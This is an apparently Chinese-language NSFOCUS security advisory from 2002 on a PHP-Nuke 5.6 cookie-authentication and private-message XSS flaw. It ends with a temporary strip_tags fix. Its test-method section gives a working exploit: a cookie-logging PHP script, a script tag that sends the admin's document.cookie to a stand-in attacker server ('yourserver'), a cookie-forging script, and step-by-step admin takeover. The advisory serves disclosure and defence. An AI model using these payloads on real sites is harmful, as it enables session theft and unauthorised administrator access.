首页 -> 安全研究
安全研究
安全漏洞
PHP-Nuke远程管理权限访问漏洞
发布日期:2002-08-15
更新日期:2002-08-18
受影响系统:
Francisco Burzi PHP-Nuke 5.6描述:
BUGTRAQ ID: 5476
PHP-Nuke是一个网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。
PHP-Nuke对基于Cookie认证的处理不够正确,远程攻击者可以利用这个漏洞以管理员权限访问PHP-Nuke系统。
PHP-Nuke中的私人消息模块存在跨站脚本执行漏洞,用户可以发送包含HTML代码的消息给目标用户,由于PHP-Nuke没有正确过滤HTML代码,使HTML代码可以在查看私人消息时脚本代码在用户浏览器中执行,从而是用户基于认证的Cookie信息泄露,PHP-Nuke以前的版本把用户密码以BASE64编码方式存储在Cookie中,所以攻击者可以获得Cookie信息即可以获得密码信息,但是PHP-Nuke 5.6版本在进行BASE64编码之前使用MD5进行加密,然后在放入Cookie中,这使的窃取的Cookie信息不能直接获得用户密码。
由于PHP-Nuke通过MD5加密口令后,使用加密后的字串与数据库的加密字串比较,攻击者就可能通过提取窃取到的Cookie信息中MD5加密过的字符串信息来验证自己。
PHP-Nuke通过BASE64编码后获得类似如下的字符串设置Cookie信息:
username:md5_encrypted_pass:lang
因此,攻击者可以使用Cookie中MD5加密过的信息,并按照上面的字符串进行排列,通过BASE64编码,再放到Cookie中发送,就可以绕过验证可以以管理员权限访问PHP-Nuke系统。
<*来源:delusion (delusi0n@bellsouth.net)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=102953173132760&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
要利用这个漏洞,你必须在你的WEB服务器目录下建立如下文件:
cookie.php包含:
<?
$fp = fopen("cookie.txt","a");
fputs($fp, $cookie);
fclose($fp);
print "Message Not Found!"; /* this is so the admin doesnt get scared. and
thinks its some bug. */
?>
test.php包含:
<?
$admin = base64_encode("decoded_string") ;
setcookie("admin","$admin",time()+2592000);
?>
1、发送求助私人消息给管理员,并包含如下代码:
<script>document.location.replace('http://yourserver/cookie.php?cookie='+doc
ument.cookie);</script>
2、等待管理员点击消息,然后检查你服务器上的cookie.txt。
3、从cookie.txt中拷贝从"admin="到";"号的加密文本。
4、进入http://www.isecurelabs.com/base64.php URL,粘贴文本,并点击"Decode",获得类似如下的字符串:
username:md5_encrypted_passwd:language (language可能为空白).
5、粘贴编码后的字符串到test.php如下:
<?
$admin = base64_encode("paste decoded string here");
setcookie("admin","$admin",time()+2592000);
?>
6、以任意用户登录站点。
7、发送私人消息给自己包含如下内容:
<iframe src="http://yerserver/test.php"></iframe>
打开消息,然后你机器上会设置一COOKIE信息,但此COOKIE信息会以你的服务器URL进行配置,你必须修改相关的PHPNuke站点进行代替。
8、使用mozill的情况下,在~/.mozilla/someprofile/something/目录下编辑cookies.txt信息,改变如下所描述的相应URL,其他浏览器类似。
9、重新启动WEB浏览器,然后输入访问PHPNUke站点,现在的权限就是管理员权限。
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 编辑/modules/Private_Messages/中的reply.php脚本,在reply.php的75行增加如下代码:
$message = strip_tags($message, '<br><b><u><i>');
厂商补丁:
Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpnuke.org
浏览次数:3653
严重程度:0(网友投票)
绿盟科技给您安全的保障